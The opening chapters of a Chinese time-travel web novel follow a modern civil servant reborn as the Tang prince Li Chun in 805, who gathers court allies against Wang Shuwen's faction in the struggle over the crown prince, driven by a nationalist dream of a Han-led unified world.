《世界江山一统志》
第1章 兴华壮志
李志国喜读历史,但在读史之余,心中留下两个很大的遗憾。
一是古代曾经强大辉煌的中国,在明清之际走了下坡路,后被列强所欺凌,并经历了百年耻辱。
二是世界经过几千年的发展,仍然处于**状态,各国之间陷入长期的争霸和内耗,造成了生灵涂炭。
当然,也有一种情况可以弥补这两个遗憾,那就是中国在明清之前统一世界,建立一个华夏民族主导的秩序,既能实现华夏的荣耀,也能让各民族减少内耗、聚焦发展,创造一个和谐繁荣的新世界。
其实,从秦汉到唐宋,中国一直是领先与世界其他各国的,如果在那个阶段进一步发力,变得更强一些,完全可以横扫各国、统一世界。
可惜的是,中国在宋朝以后就进入了发展的停滞期,逐步被其他国家赶超,特别是在明朝之后,欧洲的英法德等国迅速崛起,成为新的世界强国。
每每想起此事,李志国心中是无限的感慨和万分的惋惜,伟大的华夏文明曾经绽放出璀璨耀眼的光辉,曾经是很多国家模仿和向往的榜样,在清末却江河日下,陷入了丧权辱国的可悲境地,让无数华夏儿女无比痛心。
在世界范围内,由于缺乏一个强有力的领导者,各个国家与民族为争夺霸权而爆发了多次战争,特别是在20世纪爆发的一战、二战,产生了巨大的伤亡和破坏。
二战后,世界上各个国家和民族的界限依然无法打破,各国为了争夺资源控制权和民族发展权,一直争战不休,又爆发了多次局部战争,世界处在一个混乱的秩序中。
李志国认为,从理性的角度来看,世界应该统一起来,归到一个中央政权的治理之下,只有这样才能更好的进行统筹协调,减少争夺和内耗,世界才能在一种良好的秩序下发展的更加繁荣。
世界的统一需要一个民族来主导,不管是从民族情感上,还是从客观条件上,李志国认为由华夏民族统一世界都是最适合的。
华夏民族具有强大的凝聚力、创造力,是四大文明古国仍然在延续古代文明的国家,华夏民族是世界上人口最多的民族,也是一个勇敢智慧、勤劳善良的民族。
如果有个合适的机会,由华夏民族来统一世界,统筹调配资源,制定可持续的发展战略,一定可以把世界治理的更好,让各族团结起来搞发展,消除彼此恶斗而产生的乱象。
想那英格兰,不过是中国一个省的规模,只因先行发展资本主义,通过坚船利炮,先后抢占大量的殖民地,成为当时的世界霸主,还号称为“日不落帝国”。
英格兰利用早期发展的先机,大量往外移民,先后衍生了美国、加拿大、澳大利亚等国家,形成了一股强大的影响力,英语成为世界通用语言,美国甚至攫取了二战后的世界霸权。
作为李氏后裔,李志国对唐朝有天然的亲近感,多么渴望有机会回到唐朝,变法图强,振兴中华,征欧洲,扫美洲,廓清四海,改变当前世界各国割据争霸的局面,一统世界江山。
比起英格兰,中国更大也更有优势,文化的积淀也更加深厚,经过一番努力,完全可以由华夏民族领导世界各民族,让华夏文明成为世界的主流文化,把世界治理的更加美好。
李志国原是一个211高校的大学生,毕业后按照父母的意愿,回到老家发展,考入中部某省一座三线城市的公务员。李志国年轻时也想在事业上有一番作为,但是受限于当时所处的环境,始终发展不顺,难以被提拔重用,空有一番豪情壮志而无法施展。
蹉跎到了中年,李志国读了很多书,也经历了很多事,对人生有了新的认识,一些事也想通悟透了,心态变得圆融通达。
作为一个中国人,李志国也深受传统儒家思想的影响,内心深处也有那种“治国平天下”的雄心壮志。如果有一个合适的契机和舞台,自己可以用尽平生所学,施展一番抱负,力挽狂澜、富国兴邦,也不枉白活一世。
想那汉高祖刘邦当初也就一个亭长,明太祖朱元璋开始只是一个和尚,只是因为生逢乱世,又有一番机缘,先后成就千古大业。
再想自己,已入不惑之年,读了大量的书,精于历史军事,对文学、地理、经济、科学也都有不少研究,学识渊博,满腹韬略,却没有合适的舞台和机缘去施展毕生所学,只能隐没于芸芸众生,李志国心中有着一种强烈的不甘。
最近,媒体上都在报道一个即将发生的天文奇观,那就是五星连珠,具体也就是金、木、水、火、土五颗行星将在2020年5月某日晚子时连成一线。李志国虽酷爱读书,但是天文类的明显不在其列,也搞不清这个五星连珠有啥现实意义,也就没有过多关注。
眼见就到
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了5月某日,李志国也没有太在意,当天下班后,他自己弄点晚饭吃完,就捧起一本唐朝历史书读起来,当读到唐朝德宗年间的一段历史时,他的心中充满愤懑。
当时,唐朝国势已衰,河湟陇右大片国土被吐蕃侵占,每年吐蕃都会到陇右一带劫掠财物和人口。
有次,吐蕃在陇右俘获一万多名汉人,要带回其领地为奴,当他们经过一段峡谷,即将进入吐蕃本土时,吐蕃将领允许汉人最后看一眼自己的家乡。
悲愤不已的汉人俘虏停下脚步,面朝东方故乡跪拜,很多人痛哭流涕,还有人宁死不屈,直接跳崖而死,剩下的被迫进入吐蕃为奴。
巍巍大唐,竟被异族欺负成这样,可怜那些大唐子民,要么跳崖而死,要么流落异乡为奴,这是一个多么惨痛的历史场景!
李志国想起了鲁迅的一句诗“寄意寒星荃不察,我以我血荐轩辕。”结合此时的心情,他也写下一首诗:
怀悲咏志
华夏文明烁古今,辉煌悠久五千年。
却有蛮夷戕我族,惨烈悲壮身同感。
吾生吾根此山河,至爱至深血脉连。
倘能奋起振国运,愿以我血荐轩辕。
写完这首诗,已经十一点多了,李志国心情沉痛,难以抑制心中的悲愤,毫无睡意,便走到楼顶散心,随着微风吹来,带来一阵清凉,他内心的激荡才逐步平复下来。
李志国觉得,或许这就是历史的残酷,面对同胞曾经的苦难,自己有种无力感,若有机缘,自己一定要荡平蛮夷,救万民于危难,开创一个更加昌盛、富强、持久的太平盛世,让百姓真正感受到富足和幸福,唤起华夏民族的自豪感、荣誉感!
看了下手机,还有几分钟就要到五星连珠的时刻了,望了一下天空,李志国也看不清有什么异常,毕竟这种天文奇观也不是肉眼就可以看到的。
既然遇到了,李志国也就想等等,看这个天文奇观到底有啥壮观景象,便不时仰望天空,尝试发现一些五星连珠的相关影像。
朦胧中,他似乎看到五个大小不一的圆球,正向一条直线移动,随着五个圆球向直线移动,李志国的意识中出现了一种眩晕感。
当五个球连成一条直线时,顺着这条直线发出一道红光,直冲李志国而来,当红光射向李志国时,他感觉灵魂似乎飘出了躯体,直冲云霄而去。
第2章 立储危机
也不知过了多久,李志国才悠悠的醒来,发现自己睡在一个古香古色的房间里,雕龙画栋,陈设豪华,家具物品似乎都是古代的模样,床边的凳子上还坐着一个二十来岁的年轻人在打瞌睡,穿着宫中的服饰,难道是在哪个古装剧的场景?
李志国正疑惑着,不自觉的动了一下,碰到那个年轻人,他揉揉眼醒了,对着李志国说:“殿下,你终于醒了,这都昏迷了两天两夜了。”
听他声音有点尖细,有点女人腔,看打扮又不像是女人,难道是太监?李志国问:“你是谁,为什么会在这里?”
那人说:“我是吐突承璀呀,是伺候你的贴身太监,你前天因为生病发烧昏迷,我是奉了皇后的懿旨专门来侍候你的。”
果然是太监,怎么起了一个奇怪的名字。李志国又问:“我还有点迷糊,这是在哪里,今年是哪一年?”
吐突承璀答道:“这是在广陵王府呀,今年是大唐永贞元年。”
大唐永贞元年!这不是一千多年以前吗?看来是借着五星连珠,自己穿越了!
为了确认情况,李志国又问:“既然是大唐永贞元年,那么当朝皇帝是谁,我的名字是什么?”
吐突承璀说:“当朝皇帝就是你的父亲,你就是他的长子李纯。”
唐朝人避讳皇帝的名字,吐突承璀不敢说李诵的名字,李志国还是有点蒙,但是记得李纯是唐宪宗。
李志国道:“我这几天昏迷,脑子有些糊涂,很多事记不起来了,你帮我把基本的情况跟我说一下,帮我恢复一下记忆。”
吐突承璀是一个相当灵光的小太监,赶忙把基本情况向李志国介绍。
两个月前,德宗皇帝李适驾崩,李纯的父亲李诵即位为帝,可是皇帝因为患有风疾,说话不方便,靠着宦官**言和妃子牛昭容的帮助来传达他的旨意,再由宰相们商议处理,主要是韦执谊、王叔文几个大臣在当政。
前几天李纯去宫里看望父皇,回来不久就染上风寒,连续病了几天,王皇后赶忙让太医诊治,后面连续用药,效果却不是很好,前天开始昏迷不醒,王皇后和广陵王妃都正焦急着呢。
听到这些,李志国也大体知道了情况,就想理一理思路,于是对吐突承璀说:“我的病情好一些了,要休息一下,你先下去吧,禀报皇后和其他人不用着急了。”
李志国心里暗自思量了一下,现在是大唐顺宗时期,自己是顺宗的长子李纯,永贞元年应该是27岁,处在争夺太子之位的关键时刻。
不管是穿越也好,身在梦里也好,看来苍天给了自己一个执掌和重振大唐的机会,一定要发挥平生所学,创造一个更加辉煌繁荣的大唐盛世!
既然来到了唐朝,就要告别过往,以后就要以李纯的身份去与人交往,不能再用李志国这个名字了。
正思量着,吐突承璀带着两个女人进来了,一个五十来岁,一个二十多岁,均衣着华丽,雍容华贵,应该是宫中贵人。
吐突承璀用托盘端着一碗莲子银耳汤,放在桌边案上,说道:“殿下,皇后带着王妃来看你了,你也用点餐吧。”
皇后就是顺宗的王皇后,李纯的母亲,王妃就是他的王妃郭氏。
王皇后慈祥地说:“儿呀,你这一病就是好几天,连续昏迷,都把我们愁**,你父皇有病,你再有个三长两短,可让我们怎么活呀。”说完眼泪就流出来了,郭妃连忙用手帕帮忙擦拭。
李纯怕露出破绽,连忙顺着说道:
“母后,我这不是好些了吗,应该没有大碍,只是脑子还有点昏昏的,有些事有点记不清了。”
王皇后摸了摸李纯的额头,有点欣慰:
“真是万幸,没有昨天烧的厉害了,后面要好好调养,先把莲子银耳汤喝了,其他还想吃什么就跟承璀说,要早点恢复身体。”
李纯也觉得饿了,端起碗吃了起来,觉得皇家的饭菜确实比普通百姓家的好吃,一会就吃完了。然后说:
“母后,我都好多了,你也不用太操心了,早点回去歇着吧,让王妃陪着我就好。”
王皇后笑着说:“还是媳妇亲呀,既然你没事,我就先回去了,郭妃可要把纯儿照顾好。”说完就由吐突承璀陪着走了。
郭妃是唐朝大将郭子仪的孙女,父母就是醉打金枝的两个主角:郭子仪第六子郭暧和唐代宗的四女儿升平公主。郭妃因出身富贵,端庄贤淑,为人又有见识,与李纯甚为般配,夫妻两人关系很融洽。
郭妃深情的说:“母后这几天可担心你了,每天对着佛祖祷告,祈祷你早日康复,你总算好起来了,不枉她的一片苦心。”
李纯的心里涌起一片感动,可怜天下父母心,在这
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个世界上她们就是自己的亲人,自己一定要善待她们,然后对郭妃说:
“看你的眼睛也有点肿了,应该也哭了不少,让你们操心了。”
郭妃说:“你都几天没怎么吃东西了,身体比较虚弱,还想吃什么,我让御膳房去做。”
李纯道:“病还没完全好,没有胃口,你陪我说说话就好,脑子烧的有些昏沉,你把外面的情况说给我听听,不然满脑子发晕,出去闹笑话。”
李纯刚来这个世界,对当朝的情况是两眼抹黑,必须要广泛的收集信息,才能了解唐朝当前的情况,所以很想先从郭妃这里获取一些有用的信息。
郭妃就慢慢把外面的情况说给李纯,从宫里说到朝堂,还说了很多家务事,大体和吐突承璀说的差不多,自己正处在争夺帝位关键的永贞元年。
听到这些,李纯想起了历史上有名的“永贞革新”,这个所谓革新,牵扯了好几个文人曲折跌宕的命运,从历史上看有一定的进步意义,但在当时争议很大,其中有一条很重要的是王叔文等人为把持权力,反对立李纯为太子,这对自己影响太大了。
尽管自己对王叔文等人没有成见,对于他们当中的柳宗元、刘禹锡文学水平也有很好的评价,但是事关自己能否当太子当皇帝的大事,不可能随了王叔文等人的意愿,否则自己就白来一次大唐,平生的抱负也会化作烟云。
想到这里,李纯对郭妃说:“今天我先休养一下,这两天你和吐突承璀没事就来陪我说说话,或者在王府里走一走也好。”
郭妃高兴地说:“好呀,你是我的夫君,我当然愿意多陪你。”
李纯刚来这个世界,很多事情和背景要尽快了解清楚,才能更快的融入这个新来的世界,询问身边人是最合适的方式。
连续几天,李纯就在府里边服药边静养,大部分时间都在与郭妃和吐突承璀聊天,主要是他问,他们两个回答,从小时候到现在,从家事到国事,涉及到他人生经历的重要信息都去问,对朝廷的情况也问的很仔细,尽管她们不太懂,但是可以问个大概。
刚开始,她们还诧异,怎么那么多重要事情都不记得了,但是李纯用一句“连续发烧搞得记忆不清了”就搪塞过去了,她们看到李纯愿意和她们多说话,感觉受到了亲近和重视,回答的很积极。
第3章 初期形势
聊着聊着,结合着自己以前读历史的记忆,李纯知道了很多关于自己的经历,还有他父皇的事,也知道了朝廷的大体**格局、大臣们的基本立场。
目前是贞元元年4月,按照公元纪年是805年5月,自己已经27岁,有一妻两妾,除了郭妃,还有纪氏、刘氏,一共给他生了5个儿子5个女儿。
李纯病好些以后,三个老婆先后带着儿女都先来看望他,李纯因为和她们不熟悉,简单聊一下就让他们回去了。
李纯发现,穿越之前的自己竟然早婚早育,年纪轻轻就生了一堆孩子,刚来负担就很重,幸亏是皇室,不然养家会很累。
李纯在府里静养的时间里,从周围几个人获得的信息有限,只是面上的一些基本情况,更多的信息则来自于他前世所读的历史书籍。他以前读过很多历史书,对唐史尤其熟悉,于是回忆唐朝建立至今的基本情况,梳理其中的大事和脉络。
唐朝于公元618年由李渊建立,其子唐太宗李世民励精图治,国家开始强大起来,威服四夷,号称“天可汗”,其在位时期为著名的“贞观之治”。
唐太宗之后的唐高宗、中宗、睿宗和武则天时代,虽然中间经历了一些波折,但是大体还是按照李世民的治国方向在走,仍处于发展的时期。到了唐玄宗时期,励精图治,国力更加强大,经济文化繁荣,形成了中国封建社会的顶峰“开元盛世”。
然而,到了天宝年间,唐玄宗开始骄奢淫逸,统治**,爆发了“安史之乱”,国家进入战乱时期,黄河流域大量人口死亡、逃亡,国力急剧衰落。
到了其后的唐肃宗、唐代宗、唐德宗时期,虽然在表面上平定了叛乱,但是没有实质上解决藩镇问题,加之三个皇帝平庸无能,唐朝一直在走下坡路。
特别是唐德宗李适,可谓是德不配位,非常无能,唐朝内有藩镇之乱,外有异族入侵,搞得衰落至极,李纯穿越前在历史书中看到的汉人被吐蕃掳掠为奴的事件,正是发生在唐德宗年间。
到了贞元元年正月,也就是3个月前,唐德宗才将皇位传给太子李诵,也就是李纯的父亲。
李诵的人生很倒霉,德宗皇帝在位时间比较长,李诵当了25年的太子,就在德宗病倒准备传位给他时,他也病了,连德宗的最后一面都没能见到。
因为李诵生病,当时很多宦官和大臣,还提议让德宗其他的儿子或者李纯继位当皇帝,靠着几个心腹大臣的帮衬,李诵才勉强支撑着即位为皇帝,后世称为唐顺宗。
李诵年轻的时候,也是一个有志青年,王叔文、王伾陪着他读书、下棋、聊天,对朝政和处事的思想很接近,彼此的关系很好。
李诵能当上皇帝,王叔文和他的伙伴们也是出了大力,李诵自然是要重用他们,王叔文拉上王伾、韦执谊等人组成了一个小集团,目前深受李诵信任,把持着朝政和重要决策。
李诵都即位3个月了,病不但没好,反而有加重的趋势,既不能正常说话,行走也不方便,朝臣们很难看到他,搞得人心浮动,政局不稳。
很多大臣认为,既然李诵一直病着,没法顺利处理朝政,干脆早立太子,可以由太子辅政,一旦皇帝有个三长两短,太子也可以顺势即位,不至于断档。
当时李纯已经27岁,是李诵的嫡长子,年富力强,果决干练,依法依理,立李纯为太子都是众望所归。
李诵当了那么久的太子,望眼欲穿,好不容易坐上去,位子还没捂热,对自己的身体健康还有些幻想,哪肯轻易让权。王叔文等人也想着大展拳脚,搞一番轰轰烈烈的大改革、大事业,也不愿意立太子辅政。
王叔文等人也确实搞了一些改革措施,赢得一些口碑,但是王叔**人不行,个性张扬脾气大,容易得罪人,搞得还是顺我者昌逆我者亡那一套。
他既不尊重老臣,也不善于安抚其他官员,除了几个关系好的的铁杆亲信,其他大臣都不怎么待见他,特别是俱文珍、杜黄裳、武元衡等人非常完全不服王叔文,形成对立之势。
俱文珍、杜黄裳、武元衡等人觉得,皇上既然生病不能理政,就应该立长子李纯为太子,以监国的名义,帮助治理国家。
王叔文对权力看的很重,自然不愿让权,所以他对立太子一事闭口不提,有人提了他也设法阻挠。李诵也是不松口,朝政基本都是委托王叔文、王伾、韦执谊等人处理,王叔文一伙把持着大权,气势正盛着。
李纯把基本情况理清楚以后,心里就有底了,开始筹划着对策,为下步的行动作打算。李纯仔细想了想,觉得做大事一个人不行,还是要拉起一个班子,既然王叔文反对自己,就只能在拥护自己的大臣里找盟友。
李纯认真回忆了历史
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,知道杜黄裳在支持自己立太子、当皇帝的事件上,发挥了重要作用,必须争取,于是对郭妃说:
“你派人找一下杜黄裳,让他明天上午以探视病情的名义,来王府一叙。”
郭妃说:“好,我会让人通知杜黄裳,你也要保重身体,早日康复起来。”
次日,李纯吃完早饭以后,感觉身体好多了,思维也比较清晰了,就继续对当前的形势进行分析,考虑自己下一步该采取什么样的措施,怎样突破王叔文的阻挠,顺利当上太子。
李纯正想着,吐突承璀引着一个六十来岁的老臣进来,一身青衣便服,精神却非常矍铄,其进屋后向李纯拜道:“老臣杜黄裳,特来拜见广陵王殿下。”
李纯赶忙起身道:“黄老免礼,承璀快给黄老搬个凳子来,我要跟黄老聊一下,你可以退下了。”
吐突承璀搬好凳子后,知趣地退到屋外。
杜黄裳坐下后,关心地说:“广陵王突然患病,高烧昏迷,我等臣工甚为担心,今日看到殿下的病情明显好转,我们也安心了。”
李纯感激地说:“小王连续服了几天药,身体清爽了一些,再休养几天就应该就可以完全康复,让黄老费心了。”
杜黄裳接着说:“广陵王聪明睿智,果决英武,一定要保养好身体,以后还要靠你振兴我大唐的江山社稷。”
李纯闻言,听出了其中的意味,杜黄裳果然是心向于自己,便说道:
“感谢黄老美意,但此言尚早,我听说父皇目前还不想立太子,掌权的王叔文等人对我也是有异议呀。”
杜黄裳露出一脸鄙夷的神色:
“皇上是被王叔文一帮人给迷惑了,王叔文、王伾、韦执谊等人利用皇帝生病的机会,把持朝廷权力,肆意妄为,阻止立广陵王为太子,他们就是一帮小人!”
李纯又试探道:“小王听说,王叔文等人也不是一无是处,他们搞了一些革新举措,有些措施还甚得人心。”
杜黄裳沉吟了一下,说道:
“平心而论,我也不是完全否认他们,比如他们采取的罢宫市五坊使、取消进奉、减轻百姓负担,这还算是好事,但是可气的是他们这些人结党营私,蒙蔽皇上,排斥老臣,明知皇上生病不能理政,却阻止立太子,不让广陵王参政,妄图垄断权力,肆意妄为,为自己的小圈子谋利益,却置国家于危难。”
第4章 约见重臣
李纯觉得杜黄裳确实倾向于自己,便附和道:“我也觉得他们的执政方式有些荒谬,因为父皇生病,政务上传之事,要一经韦执谊,二经王叔文,三经王伾,四经**言,五经牛昭容,才能为父皇所知晓,下达之事,环节亦同,只要有一个环节卡住,政务就会被拖住。”
杜黄裳点点头:“我也看清了,这些**迷心窍,名为革新,其实就是想把持朝政,恐对广陵王不利,广陵王要早做决断。”
李纯忽然想起什么,说道:
“听说韦执谊还是你的女婿,你原来担任侍御史,因为他的帮助,你才得以升任太常寺卿。”
杜黄裳凛然道:
“韦执谊虽然是我的女婿,但在政见上我们却是两路人,他跟王叔文等人搅在一起,我非常看不惯。我深受三朝皇恩,心向广陵王,认准了只有广陵王才能撑起大唐的担子,愿追随广陵王振兴我大唐,虽死不悔!”
杜黄裳如此表明态度,李纯不觉动容,慨然道:
“我素知黄老忠贞为国,今闻卿言,更觉感动,以后的事还要多多仰仗黄老,纵有千难万险,我们一起来干,从目前来看,你觉得哪些人还可以为我们所用?”
杜黄裳略微思考了一会,说道:
“排第一的应该是俱文珍,这个人虽然是宦官,但是此人心机深沉,果断狠辣,又识大体,他曾任宣武军监军,宣武军多次兵变内乱,都被他平息下来,很有一些手腕,当年颇受德宗皇帝赏识,德宗末年他回到宫中,凡是握有兵权的宦官,大多依附于他,使他成为宦官的头领。皇上即位时,他没有机会参与,少了拥立之功,又与皇上宠信的宦官**言不和,更对王叔文一帮人不满,如果他能站到我们这一边,将会起大用。”
李纯道:“黄老居然看重一个宦官,他真有那么重要吗?”
杜黄裳郑重说道:
“我朝从肃宗时期开始,宦官势力做大,经常参与皇帝的废立,俱文珍作为宦官的首领,地位举足轻重,而且他还心向广陵王,曾经提出拥立殿下为太子。”
李纯想起来,在唐朝中期宦官势力做大,争取宦官的支持确实很重要,就说道:
“黄老说的对,在我朝宦官是一支重要的力量,特别是在宫中发挥着举足轻重的作用,既然俱文珍心向于我,他这边我会想办法沟通,朝中有哪些人可以用?”
杜黄裳说:“卫次公,裴垍、李绛、武元衡、郑余庆等人都是忠心体国之士,各有不凡之才,也都支持殿下出来参与朝政,将来可堪大用。”
李纯道:“好,朝中这些人就麻烦黄老先去联络,有空我会见他们,以后在朝中,小王还要多多仰仗黄老。”
杜黄裳听到仰仗二字,连忙客气一下:“广陵王说的哪里话,如有用到老臣的地方,我定当尽心竭力。”
李纯道:“黄老忠心为国,小王谨记在心,今天先到这里,小王病愈以后还会经常到黄老府上叨扰一番。”
杜黄裳拱手道:“老臣自当随时欢迎广陵**临寒舍。”
两人聊完后,李纯还专门让吐突承璀代自己送一下杜黄裳。
吐突承璀送完杜黄裳走进来,李纯问他:“俱文珍这个人你了解多少?把他的基本情况说给我听听。”
吐突承璀赶紧表现一下:
“俱文珍是我们宫中资历最老的宦官,多年在外担任监军,对军事上、管人上很有一套,我们都比较怕他,他现在负责禁军这一块,宫中的其他事务也有很大的参与权,算是我们宦官里的头领。”
李纯又问:“**言呢?他可是皇帝身边的宠信宦官,应该更有实权吧。”
吐突承璀答道:
“**言资历较浅,在宦官里威信不高,也就是今年顺宗皇帝登基后,才跟着受宠。他这个人相对老实本分,也就是帮着皇上传个话、办个事之类的,没啥大的野心,也不会拉拢人,跟他的人不多,在大的场合他也有点怕俱文珍。”
李纯继续发问:“你觉得宫里的形势怎么样,还有哪些人跟着俱文珍?”
吐突承璀略微一愣,然后谨慎地说:
“恕奴才多言,目前宫里大体分为两派,一派是以妃子牛昭荣和宦官**言为首,他们跟王叔文等人联系紧密,捞到了不少好处,他们人少,但是有皇帝撑腰,暂时得势。一派是以俱文珍为首,还有刘光琦、薛盈珍等人的多数宦官,他们因受王叔文等人压制,内心仇视王叔文一伙,心向皇后和殿下。”
李纯还不放心:“你觉得俱文珍他们实力如何,在大事上能够发挥多大作用?”
吐突承璀则说:
“俱文珍和刘光琦、薛盈珍等人掌管着宫中的很多事务,特别是掌握了禁军,如果没有了皇帝的支持,**言那些人根本不是俱文珍的对手,大事上没有他的帮助不行。”
李纯思忖一会,然后说:“既如此,你今日抽空去俱公公那里一趟,代我向他问个好,说我有空会约他走动一下。”
经过和吐突承璀沟通一番,李纯确认俱文珍在夺取皇位上非常重要,此人在历史记载中也不算坏,认为必须把此人争取过来。
李纯对历史中宦官的印象不太好,在东汉、唐朝、明朝中后期,出现了很多为祸朝野的大宦官,在唐朝,就有李辅国、鱼朝恩、仇士良、田令孜等。
李纯知道,**是一个没有刀光剑影的战场,向来是成王败寇,为今之计,必须要尽量争取多的力量到自己一边来,自己输不起、败不起,否则所有的理想都将化作泡影。
李纯又考虑到,组建自己的班底,获取太子之位,固然是当今第一要务,但是以后要富国强兵,还有其他的准备工作要做。
在唐朝要想强国,有两个东西很重要:一是蒸汽机,二是火器。蒸汽机是搞工业**、发展经济的重要机器,但是目前情况下难度太大,短期内不现实,可以后再考虑。制做火器的**,在唐朝就有了,搞起来难度比蒸汽机小很多,可以先找人一起弄一下。
吐突承璀到俱文珍那里传话回来后,李纯问道:“我朝是不是有很多炼丹的道士,听说有的还搞出了**?”
吐突承璀想了想才答道:“我朝皇家崇信道教,进宫炼丹的道士很多,但是是否炼出**之类事就不太清楚了。”
李纯觉得此事也不急于一时,就说:“这样吧,你先差人找找看,如有发现会炼制**的道士,随时禀报于我。”
过了两日,李纯明显感觉身体好多了,可以在府里走动了,该进行下一
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步的大棋了,就对吐突承璀道:
“你去约请一下俱公公,让他下午来府上一叙。”
下午,李纯正在王府里散步,吐突承璀就领着俱文珍到了,只见是一个五十多岁的老太监,一身宫服,眉宇里透着一份雷厉果决之气,一看就不是凡俗之辈。
见到李纯,俱文珍赶忙躬身叩拜说:
“恭喜殿下、贺喜殿下,这看着病情应该是大好了,老奴特带来一支百年老参,给殿下滋补身子。”
说罢,拿出一个装了人参的锦盒交给了吐突承璀。
李纯感觉俱文珍还挺会做人,就拱手道:
“俱公公客气了,本王身体已无大恙,就是有段时间没见着俱公公,有点想着慌,就差人请俱公公来府上一叙。”
俱文珍的眼睛转了转,连忙说:“老奴一介残躯,仅有微薄之力,怎值得殿下惦记。”
李纯知道人都喜欢正话反说,就继续拣好听的说:
“俱公公多年来为国事操劳,先是在宣武军多次平复兵乱,现在又执掌禁军,劳苦功高,本王对你一直非常钦佩,也想与你这样的忠贞之人多交往。”
俱文珍听了,果然来了兴致:“都说殿下胸怀天下,礼贤下士,果然不一般,难怪大家都心向着你。”
李纯会心一笑,说道:“也不尽是如此,听说王叔文他们就不赞成立我为太子。”
俱文珍听到王叔文,立即表明态度:
“王叔文他们不过是小人得志,蹦跶不了多久,大势还是在广陵王这边。”
李纯也不想跟他继续绕圈子,就想着引入正题,得拿出点东西打动他,便说:
“听说王叔文不仅反对我当太子,还对宦官有意见,不仅罢了宫市五坊使,还要限制宦官权力,对待宦官的态度很不好。”
俱文珍像是被揭到短处,气愤道:“我们宦官都是为了皇上办事,总会有个别人招摇过市,惹出一些篓子,稍加惩戒就是了,结果把所有的罪名都扣在我们身上,这是什么事!”
李纯看到自己的策略有点作用,就继续说些拉拢的话:“别人不说,就说俱公公这些年的表现,就比很多大臣强很多,对于王叔文他们的很多做法,我也很不赞成,宫中宦官这些年为了皇上的事出了不少力,挨了一些骂名,主流还是好的,不能全部污名化,俱公公也是宫里的老人了,关键时刻要发挥作用,不能由着他们胡来!”
俱文珍已经感受到李纯要表达的态度,自己也有攀附之意,知道是要表态的时候,赶忙说:
“一个王叔文翻不了天,**言当年还是我的一个跟班,宫里的事,老奴自会为殿下帮衬着。”
李纯也跟进表态:
“为了大唐的江山社稷,我自然是要竭尽全力,如有俱公公的帮助,自当事半功倍,事成之后,我不会忘记俱公公的襄助之情。”
俱文珍会心一笑,说道:
“宫里的太监,大都是我带出来的,我说的话,还有人听,殿下有什么事,只管知会一声。”
李纯亲切地说:
“多谢俱公公为我分忧,以后会有俱公公立功的机会,今天先聊到这里,以后俱公公有事可以随时来府里找我。”
俱文珍觉得该说都说了,就不再浪费时间,拜首告退。
第5章 接纳元衡
俱文珍走了没多久,吐突承璀进来禀报,太子右庶子武元衡求见。
李纯在脑子里过了过武元衡这个人,知道他是个人才,也是支持自己的铁杆亲信,想着早晚都要见,晚见不如早见,就说:“让他进来吧。”
过了一会,只见进来的是一个四十多岁的中年官员,风姿儒雅,仪态俊朗,果然是当朝第一美男子!
李纯笑道:“现在都没有太子,你怎么当起了太子右庶子。”
听到这,武元衡讪笑一下说:“殿下就不要取笑我了,都是王叔文他们折腾的。”
李纯故作疑惑:“你跟王叔文他们有仇?为什么要折腾你?”
武元衡恨恨地说:
“王叔文他们一伙当政后,拉帮结派,争权夺利,完全是一副小人得志的嘴脸,我特别看不惯,他们还要拉我入伙,我是断然拒绝。我原来的官职是御史中丞,安葬德宗皇帝时,朝廷委任我担任山陵仪仗使,负责葬礼的一些事宜,王叔文的亲信、监察御史刘禹锡,是我的下属,要求充当仪仗判官,我看他们不顺眼,拒不答应。王叔文等人怀恨在心,肆意诽谤,利用职权罢去我的御史中丞官职,贬为太子右庶子。”
李纯想起来了,这个武元衡是王叔文和刘禹锡的死对头,斗了几十年,二王八司马事件后,刘禹锡还被他多次打压,而且此人颇有才华,坚决支持唐宪宗削平藩镇,是一个不可多得的干将,于是说:
“既然王叔文拉拢你,你为何不愿加入他们,能升官不是很好吗?”
武元衡听了后,有些不满地说:
“王叔文、王伾早年我就认识,他们本没什么本事,以前靠着下棋、伴读接近皇上,王叔文骄狂自大,王伾丑陋猥琐,都不是干大事的料,不过是以改革为幌子,收买人心,拉拢建立自己的小集团,居心叵测,早晚会失败,我不屑与他们为伍!”
李纯还想继续摸一下武元衡的想法,就说:“对现在的局势,你有什么看法?”
武元衡的态度很直接:
“目前皇上因病难以很好的处理朝政,应当早立广陵王为太子,为皇上分忧,可是王叔文一伙为了自己的私利,居然从中阻挠,着实让人可恨。”
李纯又说道:“你对王叔文这个小集团怎么看,听说他们**了不少人,也算是人才荟萃。”
武元衡哼了一下:
“人才荟萃谈不上,他们这个小集团,以王叔文、王伾、韦执谊为核心,以韩泰、陈谏、柳宗元、刘禹锡、韩晔、凌准、程异等人为骨干,人数虽多,但是在朝中资历尚浅,又喜欢标新立异、特立独行,很多老资格的官员对他们敬而远之,他们对朝政的掌控力不够,全靠着皇上的支持,才横行无忌。他们这伙人,干事的能力不大,吹牛的本事却不小,居然互相吹捧是伊尹、周公、管仲再世,都是什么玩意!”
李纯知道武元衡是可用之人,就说:
“你的想法我已知晓,咱们也算是一条道上的人,但是要有所作为还是要等待合适的机会,徐徐为之,其他合适的大臣你都可以先联络,有事可以随时来见我,今天先聊到这里吧。”
武元衡听了这句话,知道李纯已经跟自己交心,就放心地拜别而退。
李纯后续又接见了几个重要人物,通过直接谈话和派人沟通,初步建立了一个拥护自己的小圈子,心中有了一些底气。他通过不断的了解和分析,对朝中的人员进行区分,把这些人分为三个派系。
一是以王叔文为首,包括王伾、韦执谊、**言、牛昭荣等人的派系,包围在顺宗身边,形成一个利益集团,希望皇权一直在顺宗手里,可以方便他们掌权。
二是以杜黄裳、俱文珍为首,包括卫次公、武元衡、刘光琦、薛盈珍的派系,支持立自己为太子,对权力进行重新洗牌,形成新的权力体系。
三是以杜佑、高郢、郑珣瑜等人为首的骑墙派,这些人有的年老昏聩,有的人胆小怕事,不愿参与权力斗争,谁也不帮,暂时屈从于王叔文等人的权势之下。
李纯在前世读过不少史书,深知拉拢一帮人为自己所用的重要性,对于这些人,李纯自然是想办法扩大拥立自己的派系。但是目前王叔文等人掌权,短期内难以扭转局势,如果轻举妄动反而不利,暂时只能积蓄力量、蛰伏待机。
又过了一段时间,李纯感觉身体已经好利索了,就在王府陪着郭妃和儿子李宥玩耍,儿子李宥已经9岁了,正是活泼可爱的年龄,李纯也很享受这种其乐融融的感觉。
这时,吐突承璀走过来说:“殿下让我找的会制作**的道士找到了,名叫清虚子,正在终南山修道,不知殿下要何时召见?”
李纯觉得,搞**这事会产生不小的动静,在长安城里必然不合适,需要找个僻静的地方,就问郭妃:
